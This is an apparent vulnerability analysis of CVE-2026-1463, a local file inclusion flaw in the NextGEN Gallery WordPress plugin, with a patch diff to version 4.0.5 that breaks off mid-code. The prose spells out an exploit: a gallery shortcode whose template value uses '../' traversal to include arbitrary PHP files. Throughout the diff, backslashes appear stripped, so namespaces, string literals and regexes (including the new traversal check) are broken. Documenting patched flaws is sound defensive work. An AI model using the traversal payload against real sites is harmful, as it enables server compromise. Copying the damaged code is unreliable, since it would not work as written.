Atomic Edge analysis of CVE-2026-1463:
The vulnerability is a local file inclusion (LFI) flaw in the NextGEN Gallery WordPress plugin. The root cause resides in the LegacyTemplateLocator::find_custom_template() method within /src/DisplayType/LegacyTemplateLocator.php. This method processes the ‘template’ parameter from gallery shortcodes without adequate path traversal validation. An authenticated attacker with Author-level permissions can craft a shortcode containing a malicious ‘template’ parameter with directory traversal sequences (e.g., ‘../../../../../../poc’). When the plugin renders the shortcode, it passes the user-controlled value to find_custom_template(). The method attempts to locate and include the specified .php file within allowed template directories, but the lack of validation allows traversal outside these directories. This enables inclusion of arbitrary .php files from anywhere on the server filesystem where the web process has read access. The patch adds a security check in the find_custom_template() method at lines 132-139. Before processing the $custom_template variable, the code normalizes directory separators and uses a regex pattern to detect any occurrence of ‘..’ followed by a directory separator. If a directory traversal attempt is detected, the function returns false, preventing the file inclusion. The fix also changes regex patterns in the find_template_files() method to be case-sensitive, preventing potential case-based bypasses. Exploitation requires an attacker to have Author-level access, allowing them to create or edit posts. They embed a crafted NextGEN Gallery shortcode like [nggallery id=1 template=”../../../../../../poc”]. When the post is viewed, the plugin processes the shortcode, loads the malicious template path, and includes the specified .php file, executing any code within it. Successful exploitation leads to remote code execution, sensitive data disclosure, and complete server compromise.

CVE-2026-1463: Photo Gallery, Sliders, Proofing and Themes – NextGEN Gallery <= 4.0.4 – Authenticated (Author+) Local File Inclusion (nextgen-gallery)
CVE-2026-1463
nextgen-gallery
4.0.4
4.0.5
Analysis Overview
Differential between vulnerable and patched code
--- a/nextgen-gallery/adminApp/build/dependencies.php
+++ b/nextgen-gallery/adminApp/build/dependencies.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '908f5fd629c1d3c1375b');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '91bd5fcbcda0b1f6ba5c');
--- a/nextgen-gallery/nggallery.php
+++ b/nextgen-gallery/nggallery.php
@@ -2,7 +2,7 @@
/**
* Plugin Name: NextGEN Gallery
* Description: The most popular gallery plugin for WordPress and one of the most popular plugins of all time with over 30 million downloads.
- * Version: 4.0.4
+ * Version: 4.0.5
* Author: Imagely
* Plugin URI: https://www.imagely.com/wordpress-gallery-plugin/nextgen-gallery/?utm_source=ngglite&utm_medium=pluginlist&utm_campaign=pluginuri
* Author URI: https://www.imagely.com/?utm_source=ngglite&utm_medium=pluginlist&utm_campaign=authoruri
@@ -998,7 +998,7 @@
define( 'NGG_PRODUCT_DIR', implode( DIRECTORY_SEPARATOR, [ rtrim( NGG_PLUGIN_DIR, '/\' ), 'products' ] ) );
define( 'NGG_MODULE_DIR', implode( DIRECTORY_SEPARATOR, [ rtrim( NGG_PRODUCT_DIR, '/\' ), 'photocrati_nextgen', 'modules' ] ) );
define( 'NGG_PLUGIN_STARTED_AT', microtime() );
- define( 'NGG_PLUGIN_VERSION', '4.0.4' );
+ define( 'NGG_PLUGIN_VERSION', '4.0.5' );
define( 'NGG_SCRIPT_VERSION', defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? (string) mt_rand( 0, mt_getrandmax() ) : NGG_PLUGIN_VERSION );
--- a/nextgen-gallery/src/DataTypes/LegacyImage.php
+++ b/nextgen-gallery/src/DataTypes/LegacyImage.php
@@ -171,7 +171,7 @@
return $this->_cache['imageURL'];
case 'linktitle':
- $this->_cache['linktitle'] = htmlspecialchars( stripslashes( $this->__get( 'description' ) ) );
+ $this->_cache['linktitle'] = htmlspecialchars( stripslashes( $this->__get( 'description' ) ?? '' ) );
return $this->_cache['linktitle'];
case 'name':
@@ -254,7 +254,7 @@
case 'thumbHTML':
$tmp = '<a href="' . $this->__get( 'imageURL' ) . '" title="'
- . htmlspecialchars( stripslashes( $this->__get( 'description' ) ) )
+ . htmlspecialchars( stripslashes( $this->__get( 'description' ) ?? '' ) )
. '" ' . $this->get_thumbcode( $this->__get( 'name' ) ) . '>' . '<img alt="' . $this->__get( 'alttext' )
. '" src="' . $this->thumbURL . '"/>' . '</a>';
$this->_cache['href'] = $tmp;
@@ -310,7 +310,7 @@
return $this->__get( 'thumbnailURL' );
case 'title':
- $this->_cache['title'] = stripslashes( $this->__get( 'name' ) );
+ $this->_cache['title'] = stripslashes( $this->__get( 'name' ) ?? '' );
return $this->_cache['title'];
case 'url':
--- a/nextgen-gallery/src/DisplayType/Controller.php
+++ b/nextgen-gallery/src/DisplayType/Controller.php
@@ -439,15 +439,16 @@
}
// find our gallery to build the new one on.
- $orig_gallery = $gallery_map->find( current( $picture_list->container )->galleryid );
+ $current_image = current( $picture_list->container );
+ $orig_gallery = $current_image ? $gallery_map->find( $current_image->galleryid ) : null;
// create the 'gallery' object.
$gallery = new stdclass();
$gallery->ID = $displayed_gallery->id();
- $gallery->name = stripslashes( $orig_gallery->name );
- $gallery->title = stripslashes( $orig_gallery->title );
- $gallery->description = html_entity_decode( stripslashes( $orig_gallery->galdesc ) );
- $gallery->pageid = $orig_gallery->pageid;
+ $gallery->name = $orig_gallery ? stripslashes( $orig_gallery->name ?? '' ) : '';
+ $gallery->title = $orig_gallery ? stripslashes( $orig_gallery->title ?? '' ) : '';
+ $gallery->description = $orig_gallery ? html_entity_decode( stripslashes( $orig_gallery->galdesc ?? '' ) ) : '';
+ $gallery->pageid = $orig_gallery ? ( $orig_gallery->pageid ?? 0 ) : 0;
$gallery->anchor = 'ngg-gallery-' . $gallery_id . '-' . $current_page;
$gallery->displayed_gallery = &$displayed_gallery;
$gallery->columns = @intval( $displayed_gallery->display_settings['number_of_columns'] );
--- a/nextgen-gallery/src/DisplayType/LegacyTemplateLocator.php
+++ b/nextgen-gallery/src/DisplayType/LegacyTemplateLocator.php
@@ -79,13 +79,15 @@
}
// we can filter results by allowing a set of prefixes, one prefix, or by showing all available files.
+ // Note: Legacy templates use lowercase naming (e.g., gallery.php, gallery-caption.php).
+ // The regex is case-SENSITIVE to avoid matching View-based templates like Gallery.php.
if ( is_array( $prefix ) ) {
$str = implode( '|', $prefix );
- $regex_iterator = new RegexIterator( $iterator, "/({$str})-.+\.php$/i", RecursiveRegexIterator::GET_MATCH );
+ $regex_iterator = new RegexIterator( $iterator, "/({$str})-.+\.php$/", RecursiveRegexIterator::GET_MATCH );
} elseif ( is_string( $prefix ) ) {
- $regex_iterator = new RegexIterator( $iterator, "#(.*)[/\\]{$prefix}\-?.*\.php$#i", RecursiveRegexIterator::GET_MATCH );
+ $regex_iterator = new RegexIterator( $iterator, "#(.*)[/\\]{$prefix}\-?.*\.php$#", RecursiveRegexIterator::GET_MATCH );
} else {
- $regex_iterator = new RegexIterator( $iterator, '/^.+.php$/i', RecursiveRegexIterator::GET_MATCH );
+ $regex_iterator = new RegexIterator( $iterator, '/^.+.php$/', RecursiveRegexIterator::GET_MATCH );
}
$files = [];
@@ -127,6 +129,15 @@
$custom_template .= '.php';
}
+ // SECURITY: Check for directory traversal patterns in ALL cases BEFORE processing.
+ // This prevents LFI attacks via shortcode template parameters like "../../../../../../poc".
+ // Normalize slashes first to catch mixed separator bypass attempts.
+ $normalized_for_check = str_replace( [ '/', '\' ], DIRECTORY_SEPARATOR, $custom_template );
+ if ( preg_match( '#..' . preg_quote( DIRECTORY_SEPARATOR, '#' ) . '#', $normalized_for_check ) ) {
+ // Directory traversal attempt detected - do not load this template.
+ return false;
+ }
+
// Get allowed template directories once for reuse.
$template_dirs = $this->get_template_directories();
--- a/nextgen-gallery/src/IGW/BlockManager.php
+++ b/nextgen-gallery/src/IGW/BlockManager.php
@@ -38,6 +38,7 @@
public function register_hooks() {
add_action( 'init', [ $this, 'register_blocks' ] );
add_action( 'enqueue_block_editor_assets', [ $this, 'enqueue_post_thumbnails' ], 1 );
+ add_action( 'enqueue_block_editor_assets', [ $this, 'enqueue_gallery_conversion' ], 10 );
add_action( 'enqueue_block_assets', [ $this, 'ngg_enqueue_block_assets' ] );
// Adds NextGEN thumbnail support to all posts with 'thumbnail' support by adding a field for posts/pages to
@@ -251,6 +252,53 @@
}
/**
+ * Enqueue the gallery conversion script.
+ *
+ * This script extends the WordPress Gallery block with a "Convert to Imagely" button.
+ *
+ * @return void
+ */
+ public function enqueue_gallery_conversion() {
+ $asset_file = NGG_PLUGIN_DIR . '/static/IGW/Block/build/gallery-conversion.asset.php';
+ $asset = file_exists( $asset_file ) ? include $asset_file : [ 'dependencies' => [], 'version' => NGG_SCRIPT_VERSION ];
+
+ wp_enqueue_script(
+ 'imagely-gallery-conversion',
+ StaticAssets::get_url( 'IGW/Block/build/gallery-conversion.min.js', 'photocrati-nextgen_block#build/gallery-conversion.min.js' ),
+ $asset['dependencies'],
+ $asset['version'],
+ true
+ );
+
+ // Localize script with conversion data.
+ wp_localize_script(
+ 'imagely-gallery-conversion',
+ 'imagelyConvertData',
+ [
+ 'convertApiUrl' => '/imagely/v1/convert-gallery/single',
+ 'convertRestNonce' => wp_create_nonce( 'wp_rest' ),
+ 'postId' => get_the_ID(),
+ 'panelTitle' => __( 'Imagely Gallery', 'nggallery' ),
+ 'contentHeading' => __( 'Convert to Imagely', 'nggallery' ),
+ 'contentDescription' => __( 'Convert this WordPress Gallery to an Imagely Gallery for more features and customization options.', 'nggallery' ),
+ 'contentButtonText' => __( 'Convert to Imagely Gallery', 'nggallery' ),
+ 'convertLoading' => __( 'Converting...', 'nggallery' ),
+ 'confirmationMessage' => __( 'Are you sure you want to convert this WordPress Gallery to an Imagely Gallery? This action cannot be undone.', 'nggallery' ),
+ 'invalidBlockMessage' => __( 'Invalid block. Please select a WordPress Gallery block.', 'nggallery' ),
+ 'noImagesMessage' => __( 'No images found in the gallery. Please add images before converting.', 'nggallery' ),
+ 'errorMessage' => __( 'An error occurred while converting the gallery.', 'nggallery' ),
+ ]
+ );
+
+ // Load translations for the gallery conversion script.
+ wp_set_script_translations(
+ 'imagely-gallery-conversion',
+ 'nggallery',
+ NGG_PLUGIN_DIR . 'static/I18N'
+ );
+ }
+
+ /**
* Enqueue the post thumbnails.
*
* @return void
--- a/nextgen-gallery/src/Legacy/admin/manage-sort.php
+++ b/nextgen-gallery/src/Legacy/admin/manage-sort.php
@@ -215,7 +215,7 @@
style="background-image:url('<?php print ImagelyNGGUtilRouter::esc_url( $picture->thumbURL ); ?>')">
</div>
<div class="imageBox_label">
- <span><?php print esc_html( stripslashes( $picture->alttext ) ); ?></span>
+ <span><?php print esc_html( stripslashes( $picture->alttext ?? '' ) ); ?></span>
</div>
</div>
<?php
--- a/nextgen-gallery/src/Legacy/admin/media-upload.php
+++ b/nextgen-gallery/src/Legacy/admin/media-upload.php
@@ -23,8 +23,8 @@
$keys = array_keys( $_POST['send'] );
$send_id = (int) array_shift( $keys );
$image = $_POST['image'][ $send_id ];
- $alttext = stripslashes( htmlspecialchars( $image['alttext'], ENT_QUOTES ) );
- $description = stripslashes( htmlspecialchars( $image['description'], ENT_QUOTES ) );
+ $alttext = stripslashes( htmlspecialchars( $image['alttext'] ?? '', ENT_QUOTES ) );
+ $description = stripslashes( htmlspecialchars( $image['description'] ?? '', ENT_QUOTES ) );
// here is no new line allowed.
$clean_description = preg_replace( "/n|rn|r$/", ' ', $description );
@@ -295,22 +295,22 @@
<div class='filename'></div>
<a class='toggle describe-toggle-on' href='#'><?php esc_html_e( 'Show', 'nggallery' ); ?></a>
<a class='toggle describe-toggle-off' href='#'><?php esc_html_e( 'Hide', 'nggallery' ); ?></a>
- <div class='filename new'><?php echo ( empty( $picture->alttext ) ) ? wp_html_excerpt( esc_html( $picture->filename ), 60 ) : stripslashes( wp_html_excerpt( esc_html( $picture->alttext ), 60 ) ); ?></div>
+ <div class='filename new'><?php echo ( empty( $picture->alttext ) ) ? wp_html_excerpt( esc_html( $picture->filename ), 60 ) : stripslashes( wp_html_excerpt( esc_html( $picture->alttext ?? '' ), 60 ) ); ?></div>
<table class='slidetoggle describe startclosed'><tbody>
<tr class="thumb">
<td rowspan='4'><img class='thumbnail' alt='<?php echo esc_attr( $picture->alttext ); ?>' src='<?php echo esc_url( $thumb_url ); ?>'/></td>
<td><?php esc_html_e( 'Image ID:', 'nggallery' ); ?><?php echo $picid; ?></td>
</tr>
<tr><td><?php echo esc_html( $picture->filename ); ?></td></tr>
- <tr><td><?php echo esc_html( stripslashes( $picture->alttext ) ); ?></td></tr>
+ <tr><td><?php echo esc_html( stripslashes( $picture->alttext ?? '' ) ); ?></td></tr>
<tr><td> </td></tr>
<tr class="alttext">
<td class="label"><label for="image[<?php echo $picid; ?>][alttext]"><?php esc_attr_e( 'Alt/Title text', 'nggallery' ); ?></label></td>
- <td class="field"><input id="image[<?php echo $picid; ?>][alttext]" name="image[<?php echo $picid; ?>][alttext]" value="<?php echo esc_attr( stripslashes( $picture->alttext ) ); ?>" type="text"/></td>
+ <td class="field"><input id="image[<?php echo $picid; ?>][alttext]" name="image[<?php echo $picid; ?>][alttext]" value="<?php echo esc_attr( stripslashes( $picture->alttext ?? '' ) ); ?>" type="text"/></td>
</tr>
<tr class="caption">
<td class="label"><label for="image[<?php echo $picid; ?>][description]"><?php esc_attr_e( 'Description', 'nggallery' ); ?></label></td>
- <td class="field"><textarea name="image[<?php echo $picid; ?>][description]" id="image[<?php echo $picid; ?>][description]"><?php echo esc_attr( stripslashes( $picture->description ) ); ?></textarea></td>
+ <td class="field"><textarea name="image[<?php echo $picid; ?>][description]" id="image[<?php echo $picid; ?>][description]"><?php echo esc_attr( stripslashes( $picture->description ?? '' ) ); ?></textarea></td>
</tr>
<tr class="align">
<td class="label"><label for="image[<?php echo $picid; ?>][align]"><?php esc_attr_e( 'Alignment', 'nggallery' ); ?></label></td>
--- a/nextgen-gallery/src/Legacy/lib/media-rss.php
+++ b/nextgen-gallery/src/Legacy/lib/media-rss.php
@@ -64,8 +64,8 @@
$ngg_options['galSort'] = ( $ngg_options['galSort'] ) ? $ngg_options['galSort'] : 'pid';
$ngg_options['galSortDir'] = ( $ngg_options['galSortDir'] == 'DESC' ) ? 'DESC' : 'ASC';
- $title = stripslashes( ImagelyNGGDisplayI18N::translate( $gallery->title ) );
- $description = stripslashes( ImagelyNGGDisplayI18N::translate( $gallery->galdesc ) );
+ $title = stripslashes( ImagelyNGGDisplayI18N::translate( $gallery->title ?? '' ) );
+ $description = stripslashes( ImagelyNGGDisplayI18N::translate( $gallery->galdesc ?? '' ) );
$link = self::get_permalink( $gallery->pageid );
$prev_link = ( $prev_gallery != null ) ? self::get_gallery_mrss_url( $prev_gallery->gid, true ) : '';
$next_link = ( $next_gallery != null ) ? self::get_gallery_mrss_url( $next_gallery->gid, true ) : '';
@@ -82,7 +82,7 @@
public static function get_album_mrss( $album ) {
$nggdb = new nggdb();
- $title = stripslashes( ImagelyNGGDisplayI18N::translate( $album->name ) );
+ $title = stripslashes( ImagelyNGGDisplayI18N::translate( $album->name ?? '' ) );
$description = '';
$link = self::get_permalink( 0 );
$prev_link = '';
--- a/nextgen-gallery/src/Legacy/lib/ngg-db.php
+++ b/nextgen-gallery/src/Legacy/lib/ngg-db.php
@@ -190,8 +190,8 @@
}
// it was a bad idea to use a object, stripslashes_deep() could not used here, learn from it
- $album->albumdesc = stripslashes( $album->albumdesc );
- $album->name = stripslashes( $album->name );
+ $album->albumdesc = stripslashes( $album->albumdesc ?? '' );
+ $album->name = stripslashes( $album->name ?? '' );
wp_cache_add( $album->id, $album, 'ngg_album' );
return $album;
--- a/nextgen-gallery/src/Legacy/view/album-compact.php
+++ b/nextgen-gallery/src/Legacy/view/album-compact.php
@@ -34,7 +34,7 @@
data-src="<?php echo esc_attr( $gallery->previewpic_fullsized_url ); ?>"
data-thumbnail="<?php echo esc_attr( $gallery->previewurl ); ?>"
data-title="<?php echo esc_attr( $gallery->previewpic_image->alttext ); ?>"
- data-description="<?php echo esc_attr( stripslashes( $gallery->previewpic_image->description ) ); ?>"
+ data-description="<?php echo esc_attr( stripslashes( $gallery->previewpic_image->description ?? '' ) ); ?>"
data-image-id="<?php echo esc_attr( $gallery->previewpic ); ?>">
<img class="Thumb"
alt="<?php echo esc_attr( $gallery->title ); ?>"
--- a/nextgen-gallery/src/REST/ConvertGallery/ConvertGalleryREST.php
+++ b/nextgen-gallery/src/REST/ConvertGallery/ConvertGalleryREST.php
@@ -0,0 +1,536 @@
+<?php
+/**
+ * Convert Gallery REST Class - REST API endpoints for WP Gallery to NextGEN Gallery conversion.
+ *
+ * @package ImagelyNGGRESTConvertGallery
+ * @since 3.x
+ */
+
+namespace ImagelyNGGRESTConvertGallery;
+
+use WP_Error;
+use WP_REST_Request;
+use WP_REST_Response;
+use ImagelyNGGUtilSecurity;
+
+// Exit if accessed directly.
+if ( ! defined( 'ABSPATH' ) ) {
+ exit;
+}
+
+/**
+ * Convert Gallery REST Class.
+ */
+class ConvertGalleryREST {
+ use ConvertGalleryTrait;
+
+ /**
+ * Register REST routes.
+ *
+ * @return void
+ */
+ public static function register_routes() {
+ $instance = new self();
+
+ // REST route for converting single WordPress gallery to NextGEN Gallery.
+ register_rest_route(
+ 'imagely/v1',
+ '/convert-gallery/single',
+ [
+ 'methods' => 'POST',
+ 'callback' => [ $instance, 'convert_single_gallery' ],
+ 'permission_callback' => [ $instance, 'verify_single_convert_permission' ],
+ 'args' => [
+ 'post_id' => [
+ 'required' => false,
+ 'type' => 'integer',
+ 'sanitize_callback' => 'absint',
+ ],
+ 'columns' => [
+ 'type' => 'integer',
+ 'default' => 3,
+ 'sanitize_callback' => 'absint',
+ ],
+ 'sizeSlug' => [
+ 'type' => 'string',
+ 'default' => 'thumbnail',
+ 'sanitize_callback' => 'sanitize_text_field',
+ ],
+ 'linkTarget' => [
+ 'type' => 'string',
+ 'sanitize_callback' => 'sanitize_text_field',
+ ],
+ 'images' => [
+ 'type' => 'array',
+ 'required' => true,
+ 'items' => [
+ 'type' => 'object',
+ 'properties' => [
+ 'id' => [ 'type' => 'integer' ],
+ 'url' => [ 'type' => 'string' ],
+ 'title' => [ 'type' => 'string' ],
+ 'alt' => [ 'type' => 'string' ],
+ ],
+ ],
+ ],
+ 'blockContent' => [
+ 'type' => 'string',
+ 'sanitize_callback' => 'wp_kses_post',
+ ],
+ ],
+ ]
+ );
+
+ // REST route for starting bulk conversion.
+ register_rest_route(
+ 'imagely/v1',
+ '/convert-gallery/bulk-start',
+ [
+ 'methods' => 'POST',
+ 'callback' => [ $instance, 'start_bulk_conversion' ],
+ 'permission_callback' => [ $instance, 'verify_bulk_convert_permission' ],
+ 'args' => [
+ 'selected_posttype' => [
+ 'required' => true,
+ 'type' => 'string',
+ 'sanitize_callback' => 'sanitize_text_field',
+ ],
+ ],
+ ]
+ );
+
+ // REST route for processing items during bulk conversion.
+ register_rest_route(
+ 'imagely/v1',
+ '/convert-gallery/bulk-process',
+ [
+ 'methods' => 'POST',
+ 'callback' => [ $instance, 'process_bulk_item' ],
+ 'permission_callback' => [ $instance, 'verify_process_permission' ],
+ 'args' => [
+ 'post_id' => [
+ 'required' => true,
+ 'type' => 'integer',
+ 'sanitize_callback' => 'absint',
+ ],
+ ],
+ ]
+ );
+
+ // REST route for getting available post types for conversion.
+ register_rest_route(
+ 'imagely/v1',
+ '/convert-gallery/post-types',
+ [
+ 'methods' => 'GET',
+ 'callback' => [ $instance, 'get_post_types' ],
+ 'permission_callback' => [ $instance, 'verify_bulk_convert_permission' ],
+ ]
+ );
+ }
+
+ /**
+ * Permission callback for single gallery conversion.
+ *
+ * @param WP_REST_Request $request Request object.
+ * @return bool|WP_Error
+ */
+ public function verify_single_convert_permission( $request ) {
+ // Must have upload images capability at minimum.
+ if ( ! Security::is_allowed( 'NextGEN Upload images' ) ) {
+ return new WP_Error(
+ 'rest_forbidden',
+ __( 'You do not have permission to create galleries.', 'nggallery' ),
+ [ 'status' => 403 ]
+ );
+ }
+
+ // Get post ID from request if provided.
+ $post_id = absint( $request->get_param( 'post_id' ) );
+
+ // If post_id is provided, check if user can edit the post.
+ if ( $post_id > 0 && ! $this->can_edit_post( $post_id ) ) {
+ return new WP_Error(
+ 'rest_forbidden',
+ __( 'You do not have permission to edit this post.', 'nggallery' ),
+ [ 'status' => 403 ]
+ );
+ }
+
+ return true;
+ }
+
+ /**
+ * Permission callback for bulk gallery conversion.
+ *
+ * @param WP_REST_Request $request Request object.
+ * @return bool|WP_Error
+ */
+ public function verify_bulk_convert_permission( $request = null ) {
+ // Check bulk conversion capability.
+ $capability = apply_filters( 'imagely_convert_bulk_galleries_cap', 'manage_options' );
+ if ( ! current_user_can( $capability ) ) {
+ return new WP_Error(
+ 'rest_forbidden',
+ __( 'You do not have permission to access this feature.', 'nggallery' ),
+ [ 'status' => 403 ]
+ );
+ }
+
+ return true;
+ }
+
+ /**
+ * Permission callback for processing gallery items.
+ *
+ * @param WP_REST_Request $request Request object.
+ * @return bool|WP_Error
+ */
+ public function verify_process_permission( $request ) {
+ // Must have NextGEN upload images capability (same as single conversion).
+ if ( ! Security::is_allowed( 'NextGEN Upload images' ) ) {
+ return new WP_Error(
+ 'rest_forbidden',
+ __( 'You do not have permission to create galleries.', 'nggallery' ),
+ [ 'status' => 403 ]
+ );
+ }
+
+ // Get post ID from request.
+ $post_id = absint( $request->get_param( 'post_id' ) );
+
+ if ( $post_id <= 0 ) {
+ return new WP_Error(
+ 'rest_invalid_param',
+ __( 'A valid post ID is required.', 'nggallery' ),
+ [ 'status' => 400 ]
+ );
+ }
+
+ // Get the post.
+ $post = get_post( $post_id );
+
+ if ( ! $post ) {
+ return new WP_Error(
+ 'rest_post_not_found',
+ __( 'Post not found.', 'nggallery' ),
+ [ 'status' => 404 ]
+ );
+ }
+
+ // Check if user can edit the post.
+ if ( ! $this->can_edit_post( $post_id ) ) {
+ return new WP_Error(
+ 'rest_forbidden',
+ __( 'You do not have permission to edit this post.', 'nggallery' ),
+ [ 'status' => 403 ]
+ );
+ }
+
+ return true;
+ }
+
+ /**
+ * Convert single WordPress Gallery to NextGEN Gallery.
+ *
+ * @param WP_REST_Request $request Request object.
+ * @return WP_REST_Response
+ */
+ public function convert_single_gallery( $request ) {
+ $post_id = absint( $request->get_param( 'post_id' ) );
+ $columns = absint( $request->get_param( 'columns' ) );
+ $size_slug = sanitize_text_field( $request->get_param( 'sizeSlug' ) );
+ $link_target = sanitize_text_field( $request->get_param( 'linkTarget' ) );
+ $images = $request->get_param( 'images' );
+ $block_content = $request->get_param( 'blockContent' );
+
+ // Sanitize images array.
+ $sanitized_images = array_map(
+ function ( $image ) {
+ return [
+ 'id' => isset( $image['id'] ) ? absint( $image['id'] ) : 0,
+ 'url' => isset( $image['url'] ) ? esc_url_raw( $image['url'] ) : '',
+ 'title' => isset( $image['title'] ) ? sanitize_text_field( $image['title'] ) : '',
+ 'alt' => isset( $image['alt'] ) ? sanitize_text_field( $image['alt'] ) : '',
+ ];
+ },
+ is_array( $images ) ? $images : []
+ );
+
+ // Check that required parameters are provided and valid.
+ if ( empty( $sanitized_images ) || ! is_array( $sanitized_images ) ) {
+ return new WP_REST_Response(
+ [
+ 'message' => __( 'No images provided. Please add at least one image to continue.', 'nggallery' ),
+ ],
+ 400
+ );
+ }
+
+ // Check if each image in the array has the required fields.
+ foreach ( $sanitized_images as $image ) {
+ if ( empty( $image['id'] ) ) {
+ return new WP_REST_Response(
+ [
+ 'message' => __( 'Each image must have an ID. Please check your images and try again.', 'nggallery' ),
+ ],
+ 400
+ );
+ }
+ }
+
+ $passed_data = [
+ 'post_id' => $post_id,
+ 'columns' => $columns,
+ 'size_slug' => $size_slug,
+ 'link_target' => $link_target,
+ 'images' => $sanitized_images,
+ 'block_content' => $block_content,
+ ];
+
+ $created_result = $this->create_imagely_gallery_from_wp_gallery( $passed_data );
+
+ if ( isset( $created_result['error'] ) && ! empty( $created_result['error'] ) ) {
+ return new WP_REST_Response(
+ [
+ 'message' => $created_result['error'],
+ ],
+ 400
+ );
+ } else {
+ return new WP_REST_Response( $created_result, 200 );
+ }
+ }
+
+ /**
+ * Start the bulk conversion process by finding all posts with WP galleries.
+ *
+ * @param WP_REST_Request $request Request object.
+ * @return WP_REST_Response
+ */
+ public function start_bulk_conversion( $request ) {
+ $selected_posttype = sanitize_text_field( $request->get_param( 'selected_posttype' ) );
+
+ if ( empty( $selected_posttype ) ) {
+ return new WP_REST_Response(
+ [ 'message' => __( 'A post type is required for conversion. Please make a selection.', 'nggallery' ) ],
+ 400
+ );
+ }
+
+ if ( ! post_type_exists( $selected_posttype ) ) {
+ return new WP_REST_Response(
+ [ 'message' => __( 'Post type not recognized. Please check your selection and try again.', 'nggallery' ) ],
+ 404
+ );
+ }
+
+ // Check if the current user can edit the selected post type.
+ $post_type_object = get_post_type_object( $selected_posttype );
+ if ( ! $post_type_object || ! isset( $post_type_object->cap, $post_type_object->cap->edit_posts ) ) {
+ return new WP_REST_Response(
+ [ 'message' => __( 'Unable to verify permissions for the selected post type.', 'nggallery' ) ],
+ 403
+ );
+ }
+
+ if ( ! current_user_can( $post_type_object->cap->edit_posts ) ) {
+ return new WP_REST_Response(
+ [
+ 'message' => sprintf(
+ // translators: %s is the post type singular name.
+ __( 'You do not have permission to edit %s item(s).', 'nggallery' ),
+ $post_type_object->labels->singular_name
+ ),
+ ],
+ 403
+ );
+ }
+
+ // Get all posts of the given post type.
+ $args = [
+ 'post_type' => $selected_posttype,
+ 'post_status' => 'any',
+ 'numberposts' => -1,
+ ];
+ $posts = get_posts( $args );
+
+ if ( empty( $posts ) ) {
+ return new WP_REST_Response(
+ [ 'message' => __( 'No items found for the selected post type. Please try selecting a different option.', 'nggallery' ) ],
+ 400
+ );
+ }
+
+ // Find posts with WordPress galleries.
+ $found_posts = [];
+ foreach ( $posts as $post ) {
+ if ( has_block( 'gallery', $post->post_content ) || has_shortcode( $post->post_content, 'gallery' ) ) {
+ $found_posts[] = $post->ID;
+ }
+ }
+
+ if ( empty( $found_posts ) ) {
+ return new WP_REST_Response(
+ [ 'message' => __( 'No WordPress galleries were found in the selected post type.', 'nggallery' ) ],
+ 400
+ );
+ }
+
+ // Filter to only posts the current user can edit.
+ $filtered_posts = array_values(
+ array_filter(
+ $found_posts,
+ function ( $post_id ) {
+ return $this->can_edit_post( $post_id );
+ }
+ )
+ );
+
+ if ( empty( $filtered_posts ) ) {
+ return new WP_REST_Response(
+ [ 'message' => __( 'You do not have permission to edit any of the found posts.', 'nggallery' ) ],
+ 403
+ );
+ }
+
+ return new WP_REST_Response( [ 'posts' => $filtered_posts ], 200 );
+ }
+
+ /**
+ * Process a single post during bulk conversion.
+ *
+ * @param WP_REST_Request $request Request object.
+ * @return WP_REST_Response
+ */
+ public function process_bulk_item( $request ) {
+ $post_id = absint( $request->get_param( 'post_id' ) );
+
+ if ( $post_id <= 0 ) {
+ return new WP_REST_Response(
+ [ 'message' => __( 'A valid post ID is required.', 'nggallery' ) ],
+ 400
+ );
+ }
+
+ // Get the post.
+ $post = get_post( $post_id );
+
+ if ( ! $post ) {
+ return new WP_REST_Response(
+ [ 'message' => __( 'Post not found.', 'nggallery' ) ],
+ 404
+ );
+ }
+
+ $updated_content = $post->post_content; // Start with the current content.
+ $needs_update = false;
+
+ // Process gallery shortcodes.
+ $shortcode_result = $this->process_gallery_shortcodes( $updated_content, $post_id, $needs_update );
+
+ // Check if shortcode processing returned an error.
+ if ( $shortcode_result instanceof WP_REST_Response ) {
+ return $shortcode_result;
+ }
+
+ // Parse and process gallery blocks.
+ $blocks = parse_blocks( $updated_content );
+ $this->process_gallery_blocks( $blocks, $post_id, $needs_update );
+
+ // Update post content if changes were made.
+ if ( $needs_update ) {
+ // If blocks were processed, serialize back to post content.
+ $updated_content = serialize_blocks( $blocks );
+
+ wp_update_post(
+ [
+ 'ID' => $post_id,
+ 'post_content' => $updated_content,
+ ]
+ );
+
+ return new WP_REST_Response(
+ [ 'success' => __( 'Galleries converted to NextGEN Galleries.', 'nggallery' ) ],
+ 200
+ );
+ } else {
+ return new WP_REST_Response(
+ [
+ 'message' => __( 'This post contains gallery content that is not compatible with the conversion process.', 'nggallery' ),
+ 'edit_url' => admin_url( 'post.php?post=' . $post_id . '&action=edit' ),
+ ],
+ 400
+ );
+ }
+ }
+
+ /**
+ * Get available post types for conversion.
+ *
+ * @param WP_REST_Request $request Request object.
+ * @return WP_REST_Response
+ */
+ public function get_post_types( $request ) {
+ // Exclusions for keywords, exact names, and labels.
+ $exclusions = [
+ 'keywords' => [ 'ngg', 'nextgen', 'photocrati', 'imagely', 'elementor' ],
+ 'exact_names' => [ 'e-landing-page', 'ngg_gallery', 'ngg_album', 'ngg_pictures' ],
+ 'labels' => [ 'NextGEN', 'Gallery' ],
+ ];
+
+ // Retrieve all custom post types.
+ $post_types = get_post_types( [ '_builtin' => false ], 'objects' );
+
+ // Filter post types based on exclusions.
+ $filtered_post_types = array_filter(
+ $post_types,
+ function ( $post_type ) use ( $exclusions ) {
+ // Exclude based on keywords in the post type name.
+ foreach ( $exclusions['keywords'] as $keyword ) {
+ if ( strpos( $post_type->name, $keyword ) !== false ) {
+ return false;
+ }
+ }
+
+ // Exclude based on exact post type names.
+ if ( in_array( $post_type->name, $exclusions['exact_names'], true ) ) {
+ return false;
+ }
+
+ // Exclude based on labels.
+ foreach ( $exclusions['labels'] as $label ) {
+ if ( strpos( $post_type->label, $label ) !== false ) {
+ return false;
+ }
+ }
+
+ return true; // Include post type if it passes all checks.
+ }
+ );
+
+ // Allow users to modify the post types list.
+ $filtered_post_types = apply_filters( 'imagely_convert_post_types', $filtered_post_types );
+
+ // Build response array.
+ $post_types_list = [
+ [
+ 'value' => 'post',
